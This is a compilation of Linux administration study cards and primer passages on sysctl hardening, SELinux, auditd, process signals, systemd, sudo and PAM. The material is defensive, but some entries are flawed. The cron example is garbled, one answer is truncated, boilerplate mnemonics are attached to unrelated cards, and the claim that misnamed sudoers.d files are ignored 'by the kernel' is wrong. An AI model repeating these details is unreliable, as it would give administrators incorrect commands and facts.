* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Common PAM modules for authentication, policy, and hardening]]
* [[What is `pam_tally2` / `pam_faillock`?]]
* [[PAM modular framework: service config, types, and controls]]
Q: Name five important sysctl settings for Linux hardening and explain what they do.
A: kernel.randomize_va_space=2 (enable ASLR), net.ipv4.tcp_syncookies=1 (SYN flood protection), net.ipv4.conf.all.accept_redirects=0 (disable ICMP redirects), kernel.dmesg_restrict=1 (restrict dmesg to root), kernel.yama.ptrace_scope=1 (restrict process tracing). Persist in /etc/sysctl.d/99-hardening.conf and apply with sysctl -p.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[sysctl: runtime application and persistence of kernel parameters]]
* [[Do you have experience with hardening servers? Can you describe the process?]]
* [[What are the most common Linux hardening mistakes that undermine security?]]
Q: An application cannot read files in its data directory due to SELinux. How do you diagnose and fix this?
A: 1) Check for denials: ausearch -m avc -ts recent. 2) Inspect file contexts: ls -Z on the directory. 3) If wrong context, fix with: semanage fcontext -a -t <correct_type> "/path/to/data(/.*)?" then restorecon -Rv /path/to/data/. 4) Check booleans: getsebool -a | grep <service>. 5) If a boolean fix exists, use setsebool -P <boolean> on.
Remember: SELinux: Enforcing, Permissive, Disabled. Check: <html><code>getenforce</code></html>. "EPD."
Gotcha: <html><code>setenforce 0</code></html> is temporary. Permanent: <html><code>/etc/selinux/config</code></html>. Disabling breaks compliance.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Overly permissive file permissions expose data to every user on the system]]
* [[Disabling SELinux to fix startup errors trades security for convenience]]
Q: How do you configure auditd to monitor changes to critical system files?
A: Add watch rules to /etc/audit/rules.d/hardening.rules. Examples: -w /etc/passwd -p wa -k identity (watch passwd for writes/attribute changes), -w /etc/shadow -p wa -k identity, -w /etc/sudoers -p wa -k actions, -w /etc/ssh/sshd_config -p wa -k sshd. The -k flag sets a key for searching. Make config immutable with -e 2 (requires reboot to change).
Remember: auditd = kernel audit. Rules: <html><code>/etc/audit/rules.d/</code></html>. Required for compliance.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[auditd: kernel-level security audit logging for Linux]]
* [[Audit rules that log everything create noise and hide security signals]]
* [[auditd operates at kernel level with rule-based logging]]
Q: Explain the SELinux context format and how type enforcement works in targeted policy.
A: Context format: user:role:type:level. In targeted policy, the type field matters most. Processes have types (e.g., httpd_t) and files have types (e.g., httpd_sys_content_t). Policy rules define which process types can access which file types. For example, httpd_t can read httpd_sys_content_t but not other types, confining Apache even if it is compromised.
Remember: SELinux: Enforcing, Permissive, Disabled. Check: <html><code>getenforce</code></html>. "EPD."
Gotcha: <html><code>setenforce 0</code></html> is temporary. Permanent: <html><code>/etc/selinux/config</code></html>. Disabling breaks compliance.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is an SELinux security context?]]
* [[What are the three SELinux modes, and how do you check the current mode?]]
* [[SELinux enforcing vs permissive?]]
Q: How do you create a custom SELinux policy module to allow a specific denied action?
A: 1) Find the denial: ausearch -m avc -ts recent. 2) Generate a policy module: ausearch -m avc -ts recent | audit2allow -M mypolicy. 3) Review the generated policy: cat mypolicy.te (verify it is not overly permissive). 4) Install the module: semodule -i mypolicy.pp. Always review before applying -- audit2allow can generate overly broad policies that weaken security.
Remember: SELinux: Enforcing, Permissive, Disabled. Check: <html><code>getenforce</code></html>. "EPD."
Gotcha: <html><code>setenforce 0</code></html> is temporary. Permanent: <html><code>/etc/selinux/config</code></html>. Disabling breaks compliance.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is `audit2allow`?]]
* [[SELinux enforcing vs permissive?]]
* [[What is SELinux and how does it enforce mandatory access control?]]
Q: What are the most common Linux hardening mistakes that undermine security?
A: Disabling SELinux instead of fixing the policy. Not persisting changes (setenforce 1 and sysctl -w do not survive reboot). Leaving default SSH keys. Blindly applying CIS benchmarks without understanding the workload. Auditing every syscall (fills disk, degrades performance). Building hardened AMIs that drift without re-hardening. Not testing changes in staging first.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What are CIS Benchmarks, and what categories do they cover for Linux hardening?]]
* [[Do you have experience with hardening servers? Can you describe the process?]]
Q: What is a CLI? Tell me about your favorite CLI tools, tips, and hacks.
A: ''CLI'' (Command Line Interface) is a text-based interface for interacting with the OS by typing commands.
Key concepts:
* Shell (bash, zsh) interprets and executes commands
* Commands follow the pattern: <html><code>command [options] [arguments]</code></html>
* Supports piping (<html><code>|</code></html>), redirection (<html><code>></code></html>, <html><code><</code></html>), and scripting
* More powerful than GUI for automation, remote access (SSH), and batch operations
Essential for DevOps: nearly all server administration, CI/CD, and infrastructure management happens via CLI.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
Every time you deploy, restart a daemon, or press Ctrl+C, you are sending a signal. Signals are how the kernel delivers asynchronous notifications to running processes. They govern graceful shutdown, configuration reload, job control, crash handling, and inter-process communication. Understanding signals is foundational to operations: without proper signal handling, you cannot write shutdown handlers that clean up resources, cannot debug stuck processes or understand why <html><code>kill -9</code></html> leaves systems in broken states, and cannot predict how services will behave during restarts or terminal disconnection. Signals have been part of Unix since 1971 and were standardized in POSIX.1 (1988). The signal names and semantics are consistent across POSIX systems, though signal numbers vary by architecture.
----
''Sources''
* <html><code>training/library/topics/linux-signals-and-process-control/primer.md</code></html>
''Related atoms''
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
A signal is an asynchronous notification sent to a process by the kernel, another process, or itself. Upon receipt, a process can handle it (run a registered signal handler), ignore it (explicitly do nothing), or take the default action (usually terminate or ignore, determined by the kernel). The system has a default behavior for each signal type, but processes can override these defaults by installing handlers. Two signals are special and cannot be caught or ignored: SIGKILL (9) and SIGSTOP (19). The kernel enforces these directly, regardless of any handler code. This design ensures that an operating system can always forcibly terminate a process or pause it, preventing processes from becoming unkillable zombies. All other signals are negotiable and allow the process control flow.
----
''Sources''
* <html><code>training/library/topics/linux-signals-and-process-control/primer.md</code></html>
''Related atoms''
* [[What signal number is SIGKILL?]]
* [[SIGTERM allows graceful shutdown; SIGKILL forces immediate termination]]
* [[What does `kill 0` do in Linux process management?]]
SIGTERM (15) and SIGKILL (9) form the standard shutdown escalation: send SIGTERM first to request graceful shutdown, wait for the process to exit cleanly (flush buffers, close connections, release resources), and only then send SIGKILL as a last resort. SIGTERM allows the process to catch and handle the signal; SIGKILL immediately terminates without running any handler. Exit codes encode the signal number: a process killed by SIGTERM returns 143 (128+15), by SIGKILL returns 137 (128+9). Docker, Kubernetes, and systemd all follow this pattern (Kubernetes default waits 30 seconds via <html><code>terminationGracePeriodSeconds</code></html>). SIGHUP (1) has been repurposed by modern daemons as "reload your configuration" to avoid dropping active connections during restarts. SIGSTOP (19) and SIGCONT (18) freeze and resume processes without termination—useful during incidents to prevent damage while preserving state. SIGUSR1/2 (10/12) are application-defined: <html><code>dd</code></html> reports progress on SIGUSR1. SIGCHLD (17) notifies parents when children exit, enabling zombie cleanup via handlers. SIGPIPE (13) fires when writing to a closed pipe or socket; handlers prevent daemon death when clients disconnect unexpectedly.
----
''Sources''
* <html><code>training/library/topics/linux-signals-and-process-control/primer.md</code></html>
''Related atoms''
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
A session is a top-level grouping managed by a terminal shell (the session leader). Each session contains one or more process groups. Process groups allow signals to be delivered to a collection of related processes—for example, all children of a pipeline. A process group has a group leader (usually the oldest process). When a terminal closes, the kernel sends SIGHUP to the session leader, which then propagates through all process groups in that session. To signal an entire process group, use <html><code>kill</code></html> with a negative PID: <html><code>kill -TERM -$PGID</code></html> sends SIGTERM to all processes in the group. The ps command with <html><code>-o pgid,sid</code></html> shows process group and session IDs, making the hierarchy inspectable. Understanding these relationships is essential for graceful shutdown—a well-designed service sends SIGTERM to the process group, allowing all children to exit cleanly in parallel.
----
''Sources''
* <html><code>training/library/topics/linux-signals-and-process-control/primer.md</code></html>
''Related atoms''
* [[Linux process management system calls]]
* [[Explain Process Descriptor and Task Structure]]
Orphans are running processes whose parent has died. The kernel reparents them to PID 1 (init or systemd). Orphans are not inherently problematic—they consume normal resources and run fine—but they indicate a supervision gap: the parent crashed or exited without managing its children properly. Zombies are dead processes whose parent has not called <html><code>wait()</code></html> on them. They consume no resources except a single slot in the process table. Zombies cannot be killed because they are already dead; sending signals has no effect. The fix is to address the parent process: either make it call <html><code>wait()</code></html> on its children or kill the parent outright, letting PID 1 adopt and automatically reap the zombie. In containers, this is critical: if the container's PID 1 is not a proper init system, zombies accumulate and exhaust the PID table. The solution is to use a lightweight init like <html><code>tini</code></html> or <html><code>dumb-init</code></html> as the entrypoint, which properly reaps orphaned and zombie children.
----
''Sources''
* <html><code>training/library/topics/linux-signals-and-process-control/primer.md</code></html>
''Related atoms''
* [[Containers need a proper init (tini/dumb-init) for PID 1]]
* [[How to get rid of zombie processes?]]
Q: How to start or stop a service?
A: To start a service: <html><code>systemctl start <service name></code></html>
To stop a service: <html><code>systemctl stop <service name></code></html>
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
Example: <html><code>systemctl restart nginx</code></html> = stop + start. <html><code>systemctl reload nginx</code></html> = send SIGHUP (re-read config without downtime).
Remember: start/stop/restart affect running state. enable/disable affect boot state. They are independent axes.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Systemd units: enable and start are orthogonal]]
* [[How to make sure a Service starts automatically after a reboot or crash?]]
Q: WantedBy vs RequiredBy?
A: Both create dependencies when enabled.
* WantedBy: soft dependency (<html><code>.wants</code></html>)
* RequiredBy: hard dependency (<html><code>.requires</code></html>)
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
Example: WantedBy=multi-user.target means start this service when multi-user.target is reached — the most common boot target.
Remember: WantedBy goes in [Install] section. Wants/Requires go in [Unit] section. Different contexts.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[What is the difference between Wants= and Requires= in a systemd unit file?]]
* [[What is the difference between After=/Before= and Wants=/Requires= in systemd unit files?]]
* [[What are the key dependency directives in systemd?]]
Q: A service starts manually but fails under systemd. What are the possible causes?
A: systemd runs services in a different execution context than interactive shells.
Common causes:
# Missing environment variables
** No ~/.bashrc, ~/.profile sourcing
** PATH may be minimal
** Custom vars not set
** Fix: Environment= or EnvironmentFile=
# No TTY
** Service has no controlling terminal
** Interactive prompts hang forever
** Fix: StandardInput=tty or redesign service
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[A systemd unit shows "active (running)" but the actual service process is dead. How?]]
* [[How do you debug a service that won't start?]]
* [[systemd services inherit isolated environment from startup files]]
Q: How do you schedule tasks periodically?
A: Linux provides several tools for scheduling periodic tasks:
# cron - Traditional task scheduler
** Edit with: crontab -e
** Format: minute hour day month weekday command
** Example: 0 2 // // * /backup.sh (runs at 2 AM daily)
** System cron: /etc/crontab, /etc/cron.d/
# systemd timers - Modern alternative
** More flexible than cron
** Can depend on other units
** Better logging via journald
# at - One-time scheduled tasks
** Example: echo "/backup.sh" | at 2am tomorrow
# anacron - For machines not always on
** Runs missed jobs when system starts
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Schedule one-time jobs with at, batch, and related commands]]
* [[What is anacron?]]
Q: systemd vs SysVinit - what matters operationally?
A: Key operational differences:
* ''Dependency graph'': systemd understands service dependencies; SysVinit uses numbered scripts
* ''Parallel startup'': systemd starts independent services concurrently; SysVinit is sequential
* ''Unit isolation'': systemd can sandbox services with cgroups, namespaces
* ''journald integration'': Structured logging vs scattered log files
* ''cgroups'': Resource limits and tracking built-in
It's easier to debug failures with <html><code>systemctl status</code></html> + <html><code>journalctl -u</code></html> than parsing rc scripts and scattered logs.
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[systemd standardizes service and process management across distros]]
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
Q: How do you safely modify vendor unit files?
A: Never edit vendor unit files directly in <html><code>/usr/lib/systemd/system/</code></html>. Use overrides:
<html><pre><code class="language-bash">systemctl edit myservice</code></pre></html>
This creates <html><code>/etc/systemd/system/myservice.service.d/override.conf</code></html> where you can add or override directives.
Benefits:
* Keeps upgrades clean - package updates won't overwrite your changes
* Changes are diffable and auditable
* Easy to see what was customized vs stock
* Can be managed by configuration management tools
To completely replace a unit, copy it to <html><code>/etc/systemd/system/</code></html> instead.
Remember: Types: .service, .socket, .timer, .mount, .target. Most common: .service, .timer.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How do you override part of a unit file without modifying the original?]]
* [[Where do admin-override unit files live, and why do they take precedence over vendor un…]]
* [[Why must you run systemctl daemon-reload after manually editing a unit file, and what h…]]
Q: How do you debug a service that won't start?
A: Check status, logs, and the unit definition, then validate dependencies and runtime environment.
* <html><code>systemctl status <svc></code></html> for exit codes and recent log snippets.
* <html><code>journalctl -u <svc> -e</code></html> for full logs and earlier failures.
* <html><code>systemctl cat <svc></code></html> to inspect unit file, overrides, and ExecStart.
* <html><code>systemctl show -p Environment,WorkingDirectory,ExecStart <svc></code></html> to confirm runtime settings.
* Verify permissions, missing files, or port conflicts; reproduce with <html><code>ExecStart</code></html> manually if needed.
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[A service starts manually but fails under systemd. What are the possible causes?]]
* [[systemd standardizes service and process management across distros]]
* [[How to check the status of a service?]]
Q: Explain the difference between systemd inhibitors, systemd-inhibit, and how to prevent accidental shutdowns in production.
A: Inhibitors are systemd's mechanism to delay or block system power state changes.
Using systemd-inhibit:
* <html><code>systemd-inhibit --what=shutdown --who="maintenance" --why="Patching in progress" sleep infinity</code></html>
* Blocks shutdown/reboot until the process exits or is killed
Inhibitor targets (--what options):
* shutdown - block poweroff/reboot
* sleep - block suspend/hibernate
* idle - block automatic idle action
* handle-power-key - block power button action
* handle-suspend-key - block suspend button
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[What is the difference between `shutdown`, `halt`, `poweroff`, and `reboot`?]]
* [[What is the difference between `reboot` and `shutdown -r now`?]]
* [[What is systemd and how does it manage Linux services?]]
Q: Explain the purpose of dmesg vs journalctl.
A: Both show system logs but from different sources and with different scope.
dmesg:
* Reads the kernel ring buffer directly
* Contains only kernel messages
* Hardware detection, driver loading, kernel errors
* Ring buffer = fixed size, older messages overwritten
* Works without systemd
* Command: <html><code>dmesg</code></html>, <html><code>dmesg -T</code></html> (human timestamps), <html><code>dmesg -w</code></html> (follow)
* Useful for: boot issues, hardware problems, driver errors
Example: <html><code>journalctl -u nginx --since '1 hour ago'</code></html>. <html><code>-f</code></html>=follow, <html><code>-p err</code></html>=filter.
Remember: journalctl = systemd log viewer. Binary format, fast, needs journalctl to read.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[On a system which uses systemd, how would you display the logs?]]
* [[Linux system log files and their locations]]
* [[How do you view only the logs for a specific systemd service using journalctl?]]
Q: Walk through the Linux Boot Process (High Level).
A: The boot process has five main stages from power-on to login prompt.
# BIOS/UEFI (Firmware):
** Power-On Self-Test (POST)
** Hardware initialization
** Locates bootable device
** Loads bootloader from MBR/GPT
# Bootloader (GRUB2):
** Displays boot menu (optional)
** Loads kernel image and initramfs into memory
** Passes kernel parameters
** Transfers control to kernel
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[Describe the simplified boot sequence from firmware to running services in a systemd-ba…]]
* [[How does Linux boot, end to end?]]
Q: How to check the status of a service?
A: <html><code>systemctl status <service name></code></html>
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
Remember: <html><code>systemctl status</code></html> shows: loaded state, active state, PID, memory usage, last log lines. One command for a full health snapshot.
Example: Green dot = active. Red dot = failed. Yellow = activating/deactivating.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[How do you debug a service that won't start?]]
* [[How to start or stop a service?]]
* [[How do you check why a service failed?]]
Q: Walk through the Linux boot process.
A: BIOS/UEFI → GRUB → kernel + initramfs → hardware init → root mount → PID 1 (systemd) → targets/services.
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
Remember: Boot sequence mnemonic: BIG GRUB Kernel Init Systemd Targets — BIOS/UEFI, GRUB, Kernel, initramfs, systemd, targets.
Gotcha: If initramfs is missing or corrupt, the kernel panics before reaching systemd.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Walk through the Linux Boot Process (High Level).]]
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[How does Linux boot, end to end?]]
Q: A systemd unit shows "active (running)" but the actual service process is dead. How?
A: This happens with Type=simple when the main process exits but systemd doesn't know.
Root cause:
* Type=simple assumes first spawned process IS the service
* If that process forks and exits, systemd thinks it's still running
* Parent PID gone, children orphaned, systemd unaware
Common scenarios:
# Daemonizing services with Type=simple
** Service double-forks (old-school daemon pattern)
** Original PID exits immediately
** systemd: "yep, started successfully!"
** Actual service: running under PID 1
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[A service starts manually but fails under systemd. What are the possible causes?]]
* [[Program, process, and service are three distinct layers]]
* [[How to check the status of a service?]]
Q: On a system which uses systemd, how would you display the logs?
A: <html><code>journalctl</code></html> — the systemd journal viewer. It displays logs from all systemd units, the kernel, and other sources. Filter by unit with <html><code>-u</code></html>, by time with <html><code>--since/--until</code></html>, or follow live with <html><code>-f</code></html>.
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
Remember: journalctl key flags: -u (unit), -f (follow), -b (current boot), -p (priority), --since/--until (time range).
Example: <html><code>journalctl -u nginx -p err --since '1 hour ago'</code></html> — show nginx errors from the last hour.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Explain the purpose of dmesg vs journalctl.]]
* [[Linux system log files and their locations]]
* [[What is journald?]]
Q: How do you view only the logs for a specific systemd service using journalctl?
A: Use journalctl -u <service-name>. For example, journalctl -u nginx.service shows only nginx logs. Add --since or --follow for time filtering or live tailing.
Example: <html><code>journalctl -u nginx --since '1 hour ago'</code></html>. <html><code>-f</code></html>=follow, <html><code>-p err</code></html>=filter.
Remember: journalctl = systemd log viewer. Binary format, fast, needs journalctl to read.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Explain the purpose of dmesg vs journalctl.]]
* [[What is the difference between `journalctl -xe` and `journalctl -u service`?]]
* [[What is journald?]]
Q: Where do admin-override unit files live, and why do they take precedence over vendor unit files?
A: Admin overrides live in /etc/systemd/system/. Vendor unit files live in /usr/lib/systemd/system/. Admin overrides win because /etc/systemd/system/ has higher priority in the systemd unit file search path.
Remember: Types: .service, .socket, .timer, .mount, .target. Most common: .service, .timer.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[How do you safely modify vendor unit files?]]
* [[Where are systemd unit files stored?]]
* [[Why must you run systemctl daemon-reload after manually editing a unit file, and what h…]]
Q: What systemd target replaces traditional runlevel 3, and what does it provide?
A: multi-user.target replaces runlevel 3. It provides a non-graphical multi-user system with networking and all standard services running.
Remember: Targets replaced runlevels. multi-user≈3, graphical≈5.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[What are systemd targets, and how do they map to SysVinit runlevels?]]
* [[How do you set the default systemd target?]]
* [[What is systemd's role in the boot process?]]
Q: What is the difference between Wants= and Requires= in a systemd unit file?
A: Wants= is a soft dependency: if the wanted unit fails to start, the depending unit still starts. Requires= is a hard dependency: if the required unit fails, the depending unit also fails to start. Wants= is preferred for most cases to avoid cascading failures.
Remember: Types: .service, .socket, .timer, .mount, .target. Most common: .service, .timer.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[WantedBy vs RequiredBy?]]
* [[What are the key dependency directives in systemd?]]
* [[Systemd units separate boot-time enablement from runtime control]]
Q: What is the difference between After=/Before= and Wants=/Requires= in systemd unit files?
A: After= and Before= control ordering only: they determine the sequence in which units start but do not create a dependency. Wants= and Requires= create actual dependencies (pull in units) but do not control order. To both require a unit and ensure it starts first, you need both Requires= and After= together.
Remember: Types: .service, .socket, .timer, .mount, .target. Most common: .service, .timer.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[WantedBy vs RequiredBy?]]
* [[Systemd units separate boot-time enablement from runtime control]]
* [[What are the key dependency directives in systemd?]]
Q: What command enables a service to start at boot AND starts it immediately in one step?
A: systemctl enable --now <service>. The --now flag combines enable (creates symlinks for boot) and start (activates the service immediately) into a single command.
Remember: enable=boot(symlink), start=now, enable --now=both. "enable=future, start=present."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[What is the command to start a service?]]
* [[Systemd units: enable and start are orthogonal]]
* [[Systemd units separate boot-time enablement from runtime control]]
Q: How does systemd enforce resource limits on services?
A: systemd uses cgroups (control groups). Every service runs in its own cgroup slice, which allows systemd to enforce CPU, memory, and I/O limits using directives like CPUQuota=, MemoryMax=, and IOWeight= in the unit file's [Service] section.
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Cgroups enforce resource limits via separate v1 hierarchy or unified v2 tree]]
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
* [[What does `systemctl daemon-reload` do?]]
Q: What command would you use to debug slow boot times and identify which units are taking the longest?
A: systemd-analyze blame lists units by startup time. systemd-analyze critical-chain shows the critical path of the boot sequence. systemd-analyze plot > boot.svg generates a visual SVG timeline of the entire boot.
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[What does `systemd-analyze` show?]]
* [[Describe the simplified boot sequence from firmware to running services in a systemd-ba…]]
Q: Describe the simplified boot sequence from firmware to running services in a systemd-based system.
A: firmware -> bootloader -> kernel -> initramfs -> systemd (PID 1) -> default.target (usually multi-user.target or graphical.target) -> dependency tree of units. systemd as PID 1 manages the entire service dependency tree from that point.
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Walk through the Linux Boot Process (High Level).]]
* [[What is systemd's role in the boot process?]]
* [[What is systemd and how does it manage Linux services?]]
Q: How to reload PostgreSQL after configuration changes?
A: Solution 1:
<html><pre><code class="language-bash">systemctl reload postgresql</code></pre></html>
Solution 2:
<html><pre><code class="language-plaintext">su - postgres
/usr/bin/pg_ctl reload</code></pre></html>
Solution 3:
<html><pre><code class="language-plaintext">SELECT pg_reload_conf();</code></pre></html>
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[Why must you run systemctl daemon-reload after manually editing a unit file, and what h…]]
* [[What does `systemctl daemon-reload` do?]]
* [[How to start or stop a service?]]
<html><code>su</code></html> requires the target user's password to switch accounts; <html><code>sudo</code></html> requires your own password and checks authorization rules in <html><code>/etc/sudoers</code></html>. <html><code>su</code></html> without the <html><code>-</code></html> flag preserves your current environment, while <html><code>su -</code></html> or <html><code>su -l</code></html> starts a login shell that loads the target user's environment including PATH and variables. This distinction matters: omitting the flag can cause subtle bugs because command resolution differs. Use <html><code>sudo systemctl restart nginx</code></html> to run a single command as root without an interactive shell; use <html><code>sudo -i</code></html> to open a root shell with root's environment; use <html><code>sudo -u postgres psql</code></html> to run as a different user. Direct <html><code>su</code></html> to root requires knowing the root password, which violates the principle of not sharing credentials. <html><code>sudo</code></html> allows fine-grained policy control without distributing the root password.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[Why do we use `sudo su -` and not just `sudo su`?]]
* [[What is the difference between su and sudo?]]
* [[What is the difference between `su` and `su -`?]]
The sudoers policy file defines privilege escalation rules using the syntax <html><code>user host=(runuser:rungroup) commands</code></html>. Example: <html><code>deploy ALL=(ALL:ALL) ALL</code></html> means the deploy user, on all hosts, can run any command as any user:group. Common patterns include <html><code>NOPASSWD: /usr/bin/systemctl restart nginx</code></html> for passwordless command execution (essential for automation and CI/CD), specific command lists instead of ALL to enforce least privilege, and group specifications like <html><code>%ops ALL=(ALL:ALL) ALL</code></html>. Deny rules must come after allow rules: <html><code>deploy ALL=(ALL) ALL</code></html> followed by <html><code>deploy ALL=(ALL) !/usr/bin/su</code></html>. Always edit sudoers with <html><code>visudo</code></html>, which validates syntax before saving and prevents lockout by checking syntax validity. Modern systems use <html><code>/etc/sudoers.d/</code></html> drop-in files instead of editing <html><code>/etc/sudoers</code></html> directly. Files in this directory must not contain <html><code>.</code></html> or <html><code>~</code></html> in the filename; non-compliant names are silently ignored by the kernel.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[What is the basic sudoers syntax?]]
* [[What is NOPASSWD in sudoers?]]
* [[What does the sudo command do?]]
PAM (Pluggable Authentication Modules) provides a modular framework for authentication and session management. Each service (login, sshd, sudo, su, etc.) has a configuration file in <html><code>/etc/pam.d/</code></html> defining how PAM modules are invoked. A PAM config line has four fields: type (auth/account/password/session), control flag (required/requisite/sufficient/optional), module name, and module-specific arguments. Type determines what the module verifies: <html><code>auth</code></html> verifies identity, <html><code>account</code></html> checks access eligibility, <html><code>password</code></html> updates credentials, <html><code>session</code></html> handles login setup and teardown. Control flags determine behavior on success or failure: <html><code>required</code></html> must pass but continues checking other modules; <html><code>requisite</code></html> must pass and immediately fails if it doesn't; <html><code>sufficient</code></html> means passing this module skips remaining checks; <html><code>optional</code></html> failure doesn't fail the overall operation. Modules are shared libraries (e.g., <html><code>pam_unix.so</code></html>, <html><code>pam_deny.so</code></html>) that implement the actual checks. The same module can be used by multiple services.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[What is `pam_tally2` / `pam_faillock`?]]
* [[What is `pam_limits`?]]
* [[Linux authentication flows through PAM, NSS, and SSSD to identity providers]]
